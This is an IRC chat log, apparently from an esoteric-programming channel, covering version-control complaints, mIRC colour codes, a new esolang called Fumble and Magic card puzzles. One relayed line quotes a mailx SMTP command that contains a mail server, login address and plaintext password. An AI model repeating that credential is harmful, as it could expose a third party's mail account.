them. 15:52:09 "In the early days of Git (mostly pre 1.5), the user interface was much more complex because it emphasized this filesystem rather than a polished VCS. In the last few years, the UI has been refined until it’s as clean and easy to use as any system out there; but often, the stereotype lingers about the early Git UI that was complex and difficult to learn." 15:52:20 (ref: https://git-scm.com/book/en/v2/Git-Internals-Plumbing-and-Porcelain ) 15:53:16 I think the cleanest VCS UI is that of Google Docs 15:53:23 it just commits the current state of the file every x minutes 15:53:35 and has no user-visible commands except to view and/or revert to older states 15:53:40 Emacs > * 15:53:42 *duck* 15:53:44 ;) 15:53:54 note: being a clean UI is not the same as being a /good/ UI, it can only be that clean because it has so little functionality 15:53:59 True. 15:55:32 int-e: well, git still looks to me like it was designed for version controlling linux kernel trees. as in, it's very convenient if all the commits you handle are nice well-behaved, rather than random moves and whole-file changes commiteed by your co-workers as they bang on the keyboard without understanding what they do, you almost never rename files or trees or modify lots of content at once, 15:56:09 you don't want sparse checkouts because the kernel tree doesn't get too large and you don't want to compile half a kernel, the whole thing is stable enough that you can run git bisect to check out any random version from the history and actually expect it to compile and mostly work, 15:56:26 files are named sanely, files contain mostly nice text, etc. 15:56:37 But that's just not the use case we have here. 15:57:13 It's a great tool for linus for merging patches from his subordinate kernel developers, sure. 15:57:43 And it certainly has the marketing result of getting everyone to know distributed version control. 15:58:09 github indicates that it works well for others as well 15:58:16 version control sucks. 15:58:31 try merging two edits to the same file from two people using different editors 15:58:34 you're fucked. 15:58:49 no? 15:58:55 mroman: I'm considering writing a layer that goes between the file and the VCS 15:58:58 and makes edits to make it more diffable 15:59:27 int-e: the problem is formatting of certain editors really makes diff useless 15:59:27 -!- Kaynato has joined. 15:59:40 you establish coding styles to prevent that 15:59:43 int-e: github works well for (1) single-person toy projects, and (2) serious fsf projects that are developped slowly enough that they can just exclude all the bad contributions from the repository, until people slowly learn to submit sane changes formatted nicely. 16:00:26 b_jonas: the chaos you describe will be messy with any VCS, I'd expect. 16:00:56 ais523: such as a setting to unzip MS office files, store the unzipped version in vcs, and figure out the permutation how the numbered image files embedded in the document correspond to each other? 16:01:05 y'll should use Visual Source Safe from Microsoft (TM) 16:01:23 I've heard so many bad things about VSS 16:01:30 It's really reasonably priced, tight Visual Studio Integration, nice UI 16:01:36 (I have no idea how much it is) 16:01:38 b_jonas: I wasn't thinking of MS Office, was planning to work on easier formats first 16:01:49 but that sort of thing in less insane formats 16:02:02 ais523: like xml? single-line xml or indented xml? 16:03:10 ais523: unzipping ms office files helps even if you don't diff (or only use ms office's built-in diff and merge tools), for improving the compression (you want some sort of delta-compression, right?). 16:03:37 But obviously it must only be done if the user explicitly asks for it, because unzipping and rezipping doesn't preserve arbitrary binary files, unless you do it very cleverly. 16:04:15 also I think usually only one person works on a specific branch 16:04:27 By default vcs should preserve the binary content, even if it's crazy mixed crlf and lf files that seem like text and have a text extension (some vcs uis fail this simple test). 16:04:27 b_jonas: I was thinking of things like replacing indentation with increase-indentation and decrease-indentation commands 16:04:39 and removing all formatting from the code if it has a consistent style, instead just expressing the file 16:04:41 *the style 16:04:45 but on github people only use pull/push anyway 16:04:54 the idea is to be a lossless compression that separates form from content 16:05:04 that's why you have so many annoying "Merge branch" commits all over the place 16:05:06 ais523: hmm... but indentation can be tricky if people mix different tabbing formats 16:05:30 add "tabbing format changes here" directives :-) 16:06:26 ais523: yeah. also add "stupid worker reindented my code with their editor's default settings and lost all the indentation in the comments and added spaces inside brace initializers" directive too 16:06:32 I should write a little copy-on-write version control just to see how big I screw up :( 16:06:46 and "converted the whole file to crlf line endings" directives 16:07:21 ais523: what bad things have you heard? 16:07:27 except that it's lock-modify-write? 16:07:42 and dumbass people from other version control checkout the whole repos 16:07:48 whereas checkout in VSS means something completely different :D 16:08:11 oh good old rcs semantics 16:08:17 checkout locks the file 16:08:29 so if you think you need to checkout the repos (like in svn) you lock everybody out 16:08:34 mroman: it was a while back, I'm not sure I remember the details 16:08:38 it might involve corruption 16:08:48 hm. 16:09:51 generally locking isn't really a huge issue 16:10:07 if the project is big chances that you're working on the same files at the same time are not that great 16:10:14 you checkout, edit, checkin as soon as possible 16:10:21 mroman: ah, that sounds so great in theory 16:10:37 mroman: and you get no conflicts, ever 16:10:39 would be great 16:10:43 in case you need to edit like a template file because you've changed the view and some designer is fiddling with the template files 16:10:49 I just use Fossil 16:10:59 you just ask the person holding the lock 16:11:12 and of course, people don't change their apis randomly every week either, so your code just continues to work when you pull 16:11:26 if you work in a team located in the same bureau it's a pretty good workflow 16:11:30 zzo38: wait, you do? 16:11:35 I didn't know that 16:12:15 b_jonas: no there's only "hey I need to edit that too" conflicts. 16:12:41 but that doesn't happen too often to be a problem. But that might depend on the project :) 16:12:42 mroman: ah yes, with coworkers that are gone for a holiday for ten days 16:12:45 Currently I only have one project that I even have the version controlled it is Farbfeld Utilities, but I could use it for others too if I needed to. 16:12:52 b_jonas: that is a problem. yes. 16:13:01 if you have things checked out and vanish then yes :D 16:13:07 So while I use, it is only for one project so far 16:13:19 you can forcefully unlock files of course 16:13:33 zzo38: i SEE 16:13:40 and then the person has to integrate his changes when he returns somehow. 16:13:49 you can still do diffs and merges 16:13:52 mroman: sure you can. and you can also overwrite other people's changes with your changes on a conflict. I've seen it happen. 16:14:27 you can even produce edits that yield semantically wrong code when auto-merging is taking place 16:14:45 so it's not like auto-merging is something that you shouldn't manually check now and then :D 16:15:52 mroman: sure, that's what happens when people keep changing their apis 16:15:54 if you really need to edit a file somebody has locked (i.e. if you want to test things locally) then you can just get a copy of the last version, make your changes 16:16:03 then wait for the lock to release and merge your local changes in 16:16:12 you can still do it, it's just not really the default workflow 16:16:27 -!- augur has joined. 16:17:54 and the whole "no permanent internet access" thing is pretty moot today 16:18:04 "with git you don't need permanent internet access" 16:18:06 yeah right. 16:18:51 people are freaking furious when there's no internet for two minutes while riding a train 16:18:53 mroman: not moot for me 16:19:08 I git offline frequently 16:19:12 because the train travels through regions where nobody lives and it's a dead zone as far as reception goes 16:19:13 mroman: maybe, but I still want a vcs that stores some of the repository locally so it doesn't have to fetch a copy of all files every time I check status, and on the other hand, want a vcs where I don't have to store copy of files that I don't needb 16:19:54 true, that's some disadvantage of VCS 16:19:59 you need to regularly sync it :D 16:20:06 *VSS 16:20:41 if somebody else changed a file and you commit another file it's not asking you to pull first 16:21:50 so you are describing a VCS which does a bunch of clunky shit and arguing that it's great because that clunky shit isn't that annoying, most of the time 16:22:02 not exactly compelling evangelism 16:22:06 :D 16:22:34 I don't see it as that 16:22:41 I see it as chainsaw and wire saw 16:23:24 you can use either to cut off a branch from a tree 16:23:59 It's not like one is inherently better 16:24:43 they behave the same in most of the cases, but differently in some edge cases 16:25:49 99% of the stuff we do here at my workplace could easily be done in VSS or SVN or pretty much any other VCS 16:26:16 and for the other 0.9% of the stuff you just re-clone the whole git repository... 16:27:41 obviously if you really have distributed teams working all over the place then I would never ever recommend VSS 16:30:18 It's just that if git displays some error messages, people will just re-clone the repository and/or do a force-push to the central repository 16:30:53 what about both? force-push what you have, then re-clone from the version before the push 16:31:27 and with github you basically have a central repository everybody is just pulling/pushing from the master branch :D 16:31:40 -!- nycs has joined. 16:31:49 I'm lucky if people here use branches correctly 16:32:00 for most it's too much of a nuisance to get branches working 16:32:22 just downloading a new branch from the remote is a nuisance 16:32:55 fatal: git checkout: updating paths is incompatible with switching branches. 16:32:58 stuff like that 16:33:29 -!- ais523 has quit. 16:34:10 really the average developer I know (including myself) doesn't really know how to handle git beyond creating a new branch, push and pull 16:35:00 -!- `^_^v has quit (Ping timeout: 272 seconds). 16:35:22 I know a little bit about rebasing, squash merging and that 16:35:40 but if I see a cryptic error message I just rename the folder and re-clone the repos then manually integrate my stuff 16:36:55 I'm also probably the only one at my company working with multiple origins :) 16:37:09 -!- mroman has quit (Quit: well gotta go now). 16:41:11 -!- prooftechnique_ has quit (Quit: ZNC http://znc.in). 16:41:59 -!- prooftechnique has joined. 16:43:18 im alive 16:44:24 -!- bender has changed nick to LordBender. 16:46:08 17:23 --> autonick2 (~Arachnius@185.83.148.33.static.user.gibfibre.com) has joined #bash 16:46:10 17:23 Hi there, Im trying to send a smtp mail from commandline, and isnt working: echo "test" | mailx -s "SUBJECT" -S smtp=smtp://mail.digitalgraph.com.br -S smtp-auth=login -S smtp-auth-user=chviagra@digitalgraph.com.br -S smtp-auth-password=kJfe365 -S from="Sender Name " recipient@mail.com 16:47:48 -!- Koen_ has quit (Remote host closed the connection). 16:51:15 what platfrm and what shell? 16:51:53 it's in #bash so... 16:53:38 -!- Koen_ has joined. 17:00:45 I think it has sometimes been said that fossil is for cathedral-style and git is for bazaar-style 17:09:22 -!- LordBender has changed nick to bender. 17:10:50 {func[args:a,b;ret:c]: pu-a; pu-b; poc-c; } 17:11:46 pu is push and poc is pop and combine 17:11:55 im making a new esolang, but with a syntax 17:13:28 -!- lambda-11235 has quit (Ping timeout: 250 seconds). 17:18:21 moon_: vaguely reminds me of K's {[a;b]a+b} syntax for functions 17:18:40 ive never seen k 17:19:09 also, the language is named 'fumble' for its funky syntax 17:22:19 -!- lambda-11235 has joined. 17:25:20 here is another intresting (at least to me) feature of fumble: 17:25:20 > is used in variables to signify that whenever they are modified, feed their value to this function (or regex) and set self to return. 17:25:22 :1:9: parse error on input ‘in’ 17:25:37 thanks lambda bot, but that is not a program 17:25:39 -!- bender has quit (Ping timeout: 264 seconds). 17:27:43 < does the somewhat opposite, it makes the variable always equal to the last output of a certain function or regex, or makes it always equal a certain variable 17:28:09 fumble also supports wildcards for <, which makes it always equal the last function return. 17:31:38 huh, no-one intrested? 17:32:10 Are you going to write these detail in esolang wiki? 17:32:13 Probably you should do 17:32:15 mhm 17:32:16 i am 17:32:38 the esolang wiki needs more esolangs with syntax :P 17:32:58 moon_: eww no 17:33:02 it needs the exact opposite 17:33:14 lol but brainfuck derivatives 17:33:21 there are hundreds 17:33:25 it needs esolangs that have some interesting properties other than just surfacial syntax obfuscations 17:33:29 i hope your joking 17:33:38 fumble does :P 17:33:39 and bf derivatives are exactly what we don't need more of 17:33:46 ^ 17:36:24 -!- dnm has quit (Ping timeout: 240 seconds). 17:37:09 also, once im done, i should excercise myself and make a interpreter for it 17:43:46 by the way, its self modifying 17:44:07 well, against functions wrapped into the main one, at least, but hey, the modifications can be conditional 17:44:09 so yea 17:48:50 {func2[args:a,b,c;ret:d]: [{func}] ial-funcw-2-"pu-c" rml-funcw-4 al-funcw-"[var1];" al-funcw-"poc-var1;" al-funcw-"pu-var1;" al-funcw-"poc-d" } 17:49:10 ial is insert after line, al is append line, and rml is remove line. 17:52:29 so far, what do you all think? 18:03:32 -!- moon_ has quit (Ping timeout: 250 seconds). 18:07:56 -!- jaboja has joined. 18:13:14 -!- vodkode has joined. 18:13:33 -!- jaboja has quit (Ping timeout: 240 seconds). 18:30:30 Isn't every TC language ultimately just a bf derivative? 18:31:10 * prooftechnique .oO(the trap is set) 18:34:09 -!- Koen_ has quit (Remote host closed the connection). 18:35:26 -!- moon_ has joined. 18:35:27 timeline disproves it 18:35:34 i just lost the entire 2000+ byte page on fumble 18:35:44 thanks alot windows C&P 18:36:10 `` paste <(head -c 2000 /dev/urandom | base64) # there you go moon_ 18:36:25 .. 18:36:28 <\oren\> i prefer to deploy pages using scp 18:36:31 i dont think that woks 18:36:43 what doesn't work? 18:36:43 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.4349 18:36:50 You should use a clipboard history manager of some sort 18:37:28 <\oren\> or use the tmux clipboard and not the windows one 18:38:09 -!- moon__ has joined. 18:38:15 network im on stinks 18:38:18 fizzie? 18:38:50 do you have access to the esolang wiki's preview system log (if it has one) 18:39:04 <\oren\> go to tim hortons they have good intenret 18:39:30 <\oren\> and coffee 18:39:43 is fizzie here? 18:40:11 <\oren\> @seen fizzie 18:40:11 FisZi3 18:40:48 -!- moon_ has quit (Ping timeout: 250 seconds). 18:40:49 <\oren\> lamdabot is not wroking!!!! 18:44:16 -!- moon__ has quit (Ping timeout: 250 seconds). 18:44:42 <\oren\> he last spoke 11 hours ago according to my scrollback 18:45:21 <\oren\> but he hasnt logged out 18:45:37 -!- Koen_ has joined. 18:52:12 -!- Moon_ has joined. 18:52:14 hii 18:52:17 im back 18:52:21 im using mirc this time 18:52:42 I'm amazed that's still going 18:53:21 what? 18:53:26 mirc 18:53:35 oh, how come? 18:53:54 Because it's staggeringly old, and basically the work of one guy 18:54:01 ah 18:54:20 its also paid now, well mostly at least 18:54:25 theres a 'continue' button 18:54:28 it's also crap 18:54:30 that doesnt close the application 18:54:40 Moon_: it's been like that for over a decade 18:54:40 yea, ima get a better one soon 18:54:41 Well, after 21 years, I'd maybe want to make a buck. 18:54:57 I don't think the "free trial" has ever really expired 18:55:14 heh, true 18:55:20 https://en.wikipedia.org/wiki/MIRC#Military_use 18:55:23 wut 18:55:39 ._. wha 18:55:51 mirc is also why colours are fucked on IRC 18:56:02 huh? why? 18:56:30 /slap is a killer feature, though 18:56:39 lol 18:57:09 also, how many self modifying languages have a full syntax 18:57:23 i.e code blocks and variables 18:57:48 COBOL? 18:58:19 Moon_: back in the early days, different clients were trying different approaches to colours 18:58:52 a method based on the ^C escape code eventually made it into the CTCP spec 18:59:08 -!- moon__ has joined. 18:59:08 wow 18:59:14 the internet here is terrible 18:59:34 13:58:19 < coppro> Moon_: back in the early days, different clients were trying different approaches to colours 18:59:37 13:58:52 < coppro> a method based on the ^C escape code eventually made it into the CTCP spec 18:59:54 mIRC implemented a slightly different spec, though 19:00:05 it didn't receive larger support at first because it is ambiguous 19:00:15 there are certain text+colour combinations you cannot send because they get misinterpreted 19:00:26 the CTCP spec does not have this problem 19:00:29 wait, isn't the mirc one the only one? 19:00:36 Khaled resolutely refused to engage, however 19:00:37 what's the ctcp one? can you give a link? 19:00:44 so eventually the mIRC one won the adoption war 19:01:09 I am not adopted 19:01:15 think ctcp would've done better 19:01:19 all color combos :P 19:01:31 ah, so that's why I hadn't heard of it 19:01:36 -!- Moon_ has quit (Ping timeout: 244 seconds). 19:01:37 and no misinterpritation (i cant spell) 19:01:44 -!- moon__ has changed nick to moon_. 19:03:12 . 19:03:31 due to bad internet, i might have to make a script to beat ping to sending info so i dont disconnect 19:04:06 b_jonas: http://web.archive.org/web/20070702054927/http://www.invlogic.com/irc/ctcp.html 19:05:46 Configuring nm2 shouldn't be this annoying :| 19:05:56 coppro: I see 19:06:04 Aha, got it 19:07:10 IRC is a clusterfuck 19:07:40 Factual 19:11:06 -!- moon__ has joined. 19:11:07 urgh. 19:11:18 -!- moon__ has quit (Client Quit). 19:13:12 What happened? 19:13:24 -!- moon_ has quit (Ping timeout: 276 seconds). 19:14:27 -!- Moon_ has joined. 19:15:02 ill work on fumble a little later. 19:17:49 -!- dnm has joined. 19:19:16 -!- Moon_ has quit (Ping timeout: 250 seconds). 19:21:04 -!- Moon_ has joined. 19:34:14 -!- Moon_ has quit (Ping timeout: 272 seconds). 19:35:10 -!- Moon_ has joined. 19:48:24 -!- TellsTogo has quit (Ping timeout: 250 seconds). 19:49:22 The IRC that I use does not implement the mIRC colours 19:50:20 free as in beer c course http://mooc.fi/courses/2016/aalto-c/en/ 20:02:40 -!- nycs has quit (Quit: This computer has gone to sleep). 20:03:08 -!- nycs has joined. 20:03:26 .. 20:03:31 ok im alive good 20:03:49 well, hopefully i can get the page on Fumble up. 20:09:22 -!- nycs has quit (Read error: No route to host). 20:09:33 -!- I has joined. 20:09:56 -!- I has changed nick to Guest83470. 20:10:46 Could somebody /me something? I'm testing my irssi format 20:11:18 @where test 20:11:18 ?? ?@ ?run var$("(@metar "++).(++") \\ ")=< @where+ test /me tests 20:11:25 I will remember. 20:11:27 @where test 20:11:27 * lambdabot tests 20:11:38 `weather 20:11:43 Thank you 20:11:46 Off by one, as usual 20:11:50 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: weather: not found 20:12:05 `? weather 20:12:07 lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK 20:12:09 @where test 20:12:10 CYUL 061900Z 24016G25KT 15SM FEW040 FEW055 SCT075 22/13 A2948 RMK CU1SC1AC1 SLP983 DENSITY ALT 1400FT \ ENVA 061850Z 26005KT CAVOK 17/09 Q1022 NOSIG RMK WIND 670FT 28007KT \ ESSB 061850Z 18009KT CAVOK 13/03 Q1023 \ KOAK 061853Z 31014KT 10SM FEW011 18/12 A2985 RMK AO2 SLP108 T01830117 20:12:10 * lambdabot tests 20:12:16 @where test 20:12:16 * lambdabot tests 20:12:19 There 20:12:51 Although then it's mysteriously wrong in queries :| 20:13:22 I'll just have to live with it 20:16:37 @where test 20:16:37 * lambdabot tests 20:20:05 @where test 20:20:05 * lambdabot tests 20:20:10 You demon 20:21:01 -!- augur has quit (Remote host closed the connection). 20:22:21 -!- Moon_ has quit (Ping timeout: 240 seconds). 20:22:35 @where test 20:22:36 * lambdabot tests 20:22:57 Well, good enough 20:24:38 -!- Deewiant has quit (Remote host closed the connection). 20:24:49 -!- Deewiant has joined. 20:30:56 -!- augur has joined. 20:34:36 -!- S1 has joined. 20:40:34 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 20:41:25 -!- spiette has quit (Quit: :qa!). 20:43:37 -!- xkapastel has joined. 20:49:40 -!- J_Arcane has joined. 20:49:49 [wiki] [[Fumble]] N https://esolangs.org/w/index.php?oldid=47152 * Moon * (+2814) Created 20:53:24 [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47153&oldid=47152 * Moon * (+189) 20:54:48 -!- Moon_ has joined. 20:55:00 what does everyone think? (once you done reading fumble if you did) 21:00:08 I will look 21:04:11 That look OK so far, although perhaps some examples should also to be included 21:05:20 -!- S1 has quit (Quit: S1). 21:05:30 -!- spiette has joined. 21:07:34 Im adding those now, including factorial 21:11:34 also, to fumble, a 1 is 'true', no higher 21:13:25 [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47154&oldid=47153 * Moon * (+368) Examples! 21:14:02 [wiki] [[Fumble]] M https://esolangs.org/w/index.php?diff=47155&oldid=47154 * Moon * (+2) 21:15:44 Is 2 even more true? 21:16:08 * prooftechnique ducks 21:16:46 No, fumble considers it neither, so a compare on true or false will not work 21:16:53 mainly because fumble' 21:16:59 s true or false is 1 or 0 21:17:43 you like the syntax proof? 21:18:34 And what happen if the condition is 2? 21:18:47 Nothing, its ignored 21:19:59 So useing 2 requires a little extra, also, a 'condition' is considered a bit of code that makes the first value on its personal stack the result 21:20:06 which that result is what is read 21:20:17 -!- hppavilion[1] has joined. 21:20:33 so you can put a entire mini function in place of a small comparison in fumble 21:20:52 ┏┓╻┏━╸┏━┓╺┳╸┏━┓ 21:20:52 ┃┗┫┣╸ ┣━┫ ┃ ┃ ┃ 21:20:52 ╹ ╹┗━╸╹ ╹ ╹ ┗━┛ 21:20:55 ? 21:21:03 desnt look like anything on my screen proof 21:21:12 error: could not load font rusto 21:21:16 Whoops 21:21:18 lol 21:21:21 Well, it said "neato" 21:21:26 ah 21:22:02 also, what do you think of the 'unless' comparison? i think its a unique one ,right? 21:24:00 I think Ruby has that 21:24:08 Haskell, too, though maybe by a different name 21:24:21 Ah 21:24:24 :t unless 21:24:25 Applicative f => Bool -> f () -> f () 21:24:35 @src unless 21:24:35 unless p s = if p then return () else s 21:24:49 Still, it is a nice thing to have 21:24:52 I use it a fair bit 21:24:52 -!- infinitymaster has joined. 21:24:56 Hi 21:25:24 Do they have something like 'continueuntil'? 21:26:10 while? 21:26:57 No 21:27:21 continueuntil-< condition >(< code >) allows the main code to continue until a condition is met, once met, it preforms the code and once the code is done jumps back to the instruction it triggered on. 21:29:13 :t until 21:29:14 (a -> Bool) -> (a -> a) -> a -> a 21:29:20 @src until' 21:29:20 Source not found. I am sorry. 21:29:21 @src until 21:29:21 until p f x | p x = x 21:29:21 | otherwise = until p f (f x) 21:29:41 and what does that do? im no good at haskell yet 21:29:43 I don't think I totally understand what your continue until should do 21:29:47 i just understand some basic things 21:30:16 it doesnt do anything until its condition is met, it uses a thread to retry the condition every tick 21:30:30 you know, every time a instruction is processed 21:31:38 i.e continueuntil-{cmp-a-5}-(print "5!") wont execute until a contains 5 later during program execution 21:32:31 Hmm, maybe 21:32:32 :t when 21:32:34 Applicative f => Bool -> f () -> f () 21:32:35 @src when 21:32:35 when p s = if p then s else return () 21:32:57 doesnt look like it executes in the backround there 21:34:00 I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races 21:34:45 which do you mean? continueuntil or when? 21:35:10 `quote I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races 21:35:15 No output. 21:35:17 `addquote I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races 21:35:23 1279) I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races 21:35:33 *fumbles around chat* 21:36:22 well anyways, what do you think of fumble proof? 21:36:32 Something like f a = async $ when (a == 5) (print "5") (a + 1) 21:36:35 Or whatever 21:36:51 That doesn't typecheck, but that's the sketch o.o 21:37:27 Oh, sorry, I meant f a = async $ when (a == 5) (print "5") (f (a + 1)) 21:37:52 Though that's still wrong 21:37:56 Late in the day 21:38:01 Anyway, I think it's neat 21:38:21 i just might make a interpreter once i figure out how 21:38:45 i think mine will exclude the threading bits, i cause problems when im gaven just 2 extra ones :P 21:38:46 How do you represent negative literals? 21:39:02 you caught something i overlooked 21:39:04 >_> 21:40:03 hmm 21:40:20 !number> maybe? 21:40:25 ! maybe? 21:40:46 `cat tmp/fruit 21:40:47 papaya \ banana \ apple 21:41:10 `` echo jackfruit >> tmp/fruit 21:41:21 No output. 21:41:40 [wiki] [[Fumble]] M https://esolangs.org/w/index.php?diff=47156&oldid=47155 * Moon * (+58) negative literals 21:44:18 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47157&oldid=47137 * Moon * (+13) Added fumble to list 21:49:55 lucky for me C++ implents a stack already 21:56:43 -!- infinitymaster has quit (Remote host closed the connection). 21:57:04 -!- augur has quit (Remote host closed the connection). 21:57:16 -!- infinitymaster has joined. 21:57:20 Hi 21:57:57 Also, ima make the interpreter hackego compatible 21:58:15 Unless shachaf or fizzie dont want that 22:01:22 should i put fumble on hackego? 22:01:55 -!- infinitymaster has quit (Ping timeout: 258 seconds). 22:02:55 -!- hwpplayer1 has joined. 22:08:29 -!- Melvar` has joined. 22:08:40 Chat's dead 22:09:03 -!- idris-bot has quit (Ping timeout: 240 seconds). 22:09:34 -!- Melvar has quit (Ping timeout: 250 seconds). 22:12:00 -!- Melvar` has changed nick to Melvar. 22:12:43 -!- infinitymaster has joined. 22:14:19 i just ran into something annoying 22:14:56 if (rawprog.at(counter) == "{") 22:14:59 does not work because 22:15:10 -!- TellsTogo has joined. 22:15:10 C:\Users\Braden\Desktop\Desktop\Fumble\main.cpp|22|error: ISO C++ forbids comparison between pointer and integer [-fpermissive]| 22:15:55 i have to toggle something to disable it >_> 22:16:30 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 22:17:14 -!- infinitymaster has quit (Ping timeout: 250 seconds). 22:18:48 now its borked, ill just use a C string >_> 22:20:55 -!- Melvar` has joined. 22:21:43 -!- Melvar has quit (Disconnected by services). 22:21:46 -!- Melvar` has changed nick to Melvar. 22:21:50 Moon_, why don't you dereference the character and compare to '{'? 22:22:33 {1}, {T}: Target permanent controlled by opponent gains your choice of first strike, vigilance, hexproof, flying, or infect, until end of turn. If the number of cards below this ability on the stack is exactly six, then this ability cannot be countered by spells and abilities. 22:25:28 well i just wrote a big chunk with c strings, i dont feel like rewriting again 22:26:24 -!- Melvar` has joined. 22:28:39 -!- Melvar has quit (Ping timeout: 264 seconds). 22:32:19 zzo38, is that one of your puzzle cards? 22:32:29 No 22:32:33 -!- Melvar` has quit (Ping timeout: 246 seconds). 22:32:34 I just made it up right now 22:32:53 It certainly seems like it could be used for a puzzle 22:33:03 Yes, it does look like that. 22:34:17 I expect such card would be artifact, but I do not know what mana cost of the artifact. (Other changes could also be made, possibly.) 22:34:43 -!- Melvar` has joined. 22:40:51 Giving shroud or shadow seem it may be more powerful than it should be, giving banding or trample is pretty worthless, giving haste is too small effects, and giving phasing isn't really going to do anything anyways. 22:43:24 -!- hppavilion[1] has joined. 22:44:58 -!- spiette has quit (Ping timeout: 250 seconds). 22:48:05 'fumble.exe has just fumbled' would be much more funny that 'fumble.exe has stopped working' 22:54:40 -!- hwpplayer1 has quit (Quit: Leaving.). 23:00:44 Make the records of Magic: the Puzzling according to: most life points, most names of cards, most sets of cards, most priority passes, most damage, most mana, most objects on the stack, most names of permanents, most types of counters, most objects initially on stack, most nested subgames, most number of players, etc. (It only counts in cases where these numbers are bounded.) 23:01:08 wow, this might take me a while, i need to learn :P 23:01:15 zzo38: Why does it only count when they're bounded? 23:01:41 zzo38: For example, if someone has a countably infinite set of objects, and I have an uncountable set, surely I should win some sort of record. 23:02:10 Yes, but that is a different record. However, there are no uncountable sets in Magic: the Gathering anyways, as far as I know. 23:02:40 Well, that's why it would be a new record. 23:02:44 Note that even if the numbers are unbounded, if there is a well-defined minimum needed for correct solution, that would count though. 23:04:32 (There aren't any infinite sets of objects in Magic: the Gathering either, although some are unbounded.) 23:07:00 -!- boily has joined. 23:09:01 You know what, for now, im not skilled enough t make a fumble interpreter 23:11:27 i certainly wish i was >_> 23:13:11 hey, anyone wana try their hand at it? 23:13:19 http://esolangs.org/wiki/Fumble 23:14:06 Mhelloon_. 23:15:12 ? 23:15:16 yes? 23:15:44 If you wish to examine a granfalloon, just remove the skin of a toy balloon. 23:15:57 -!- Guest83470 has quit (Quit: This computer has gone to sleep). 23:18:05 Moon_: it was a customary porthello hth 23:18:09 hellochaf. 23:28:25 It's kind of hilarious how games have to specify "Online interactions not rated by ESRB" 23:30:11 Well, they don't have to. 23:30:37 shachaf: But they do 23:30:42 But they don't. 23:30:53 -!- Sgeo_ has joined. 23:31:18 Taneb: "the ability to prove Lambek's lemma is a litmus test of whether you can think categorically" 23:31:27 "As it turns out, ESRB has not analyzed every possible behavior of every person who could ever play this game, and thus have not rated the people you will encounter online" 23:31:43 -!- Melvar` has changed nick to Melvar. 23:31:53 The game Hearthstone has no chat feature. 23:32:10 People can only interact by saying one of six or so predefined phrases. 23:32:31 I think the ESRB could manage that. 23:32:45 hexcode? 23:34:11 You could try to use that to encode an IP address and port number, so that you can then use other program for chat. 23:54:27 -!- boily has quit (Quit: DISPLACER CHICKEN). 23:56:58 -!- moon__ has joined. 23:57:01 back 23:57:18 -!- Moon_ has quit (Ping timeout: 258 seconds). 23:58:20 chat dead? 23:59:33 chat dead. 2016-06-07: 00:00:26 Are you sure? 00:01:50 -!- oerjan has joined. 00:02:44 oerjan: have you come to dispel the myths of this channel's premature demise? 00:02:59 BRAINS 00:05:30 oerjan: Every time someone says that it reminds me of that StackOverflow answer. <-- a quick google didn't find what you're talking about tdnh 00:06:03 @google magic haskell reflection 00:06:04 http://stackoverflow.com/questions/17793466/black-magic-in-haskell-reflection 00:06:04 Title: Black Magic in Haskell Reflection - Stack Overflow 00:08:53 im writeing up another example for fumble: pretending that it understands what the heck a decimal point is 00:09:06 ah i kept the you instead of the magic. 00:16:33 Whenever I see Proxy, the code makes perfect sense as long as I replace it with "whatever you need it to be" 00:16:39 [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47158&oldid=47156 * Moon * (+305) Added Decimal Numbers example -Moon_ 00:16:52 If you replace Proxy with @, everything'll work out. 00:16:58 Now that GHC supports @. 00:17:37 [wiki] [[Fumble]] M https://esolangs.org/w/index.php?diff=47159&oldid=47158 * Moon * (-40) minor error 00:18:20 <\oren\> I'm leaving for Tokyo tomorrow. 00:18:31 Neato 00:18:34 Bon voyokyo 00:19:14 oerjan, what do you think of fumble? 00:21:34 nothing hth 00:21:44 )= 00:21:58 this might have something to do with not having looked at it. 00:22:09 lol 00:23:57 moon__: for an esolang, its main unusual feature seems to be _not_ using single character commands hth 00:24:12 lol 00:24:28 instead it has a full syntax 00:24:47 makes it more intresting, really 00:28:06 -!- moon__ has quit (Read error: Connection reset by peer). 00:29:54 . o O ( someone should get hold of peer and give him a good beating ) 00:33:00 -!- moon_ has joined. 00:33:23 my laptop's batter fell out >_> 00:36:37 fiendish 00:37:05 i guess it hasn't been properly baked. 00:38:35 Oerjan, i can give you the factorial of the sum of your username 00:38:48 fancy 00:38:54 want it? 00:39:06 not particularly. 00:39:11 welll..... 00:39:12 {main[args:num]: print-num print-"'s factorial is" [tmp,tmp2,tmp3,sum] until-{cmp-tmp2-1}( set[tmp,num] dec-tmp2 mult-tmp2-num po-tmp3 set-sum-tmp3 set-tmp-tmp2 ) print-sum } 00:39:16 fifgure t out (= 00:39:23 *figure it out 00:39:31 didn't oerjan just say he didn't want it 00:39:45 indeed 00:39:59 'not particularly' is not synonym to 'didnt want', its like 'maybe' 00:40:27 no, it's diplomatic for "didn't want" hth 00:40:39 eh, didnt take that into account 00:41:24 * oerjan is reminded of an anecdote about norwegian-korean culture collision 00:41:54 basically koreans (and i think many other asians) will never outright say "no" to an invitation. 00:42:17 :::==== ::: :::==== ::: :::==== :::======= :::==== :::===== ::: === 00:42:20 ::: === ::: ::: === ::: ::: === ::: === === ::: === ::: ::: === 00:42:22 === === === ======= === === === === === === ======== === ===== 00:42:25 === === === === === === === === === === === === === 00:42:25 whats that? 00:42:27 ======= === === ======== ====== === === === === ======= === 00:42:30 00:42:32 But will always say no to a gift 00:42:44 It's when someone gives you something without expecting something in return, hth 00:42:48 lol i broke the words 00:43:01 her actual response was "maybe i'll try", which the norwegian interpreted as that she might come. 00:43:42 shachaf: i'm not focused enough hth 00:43:55 oerjan: proof that you're norwegian hth 00:44:00 lol 00:44:36 . 00:46:55 prooftechnique: apparently the question of whether to say no to food, when, and 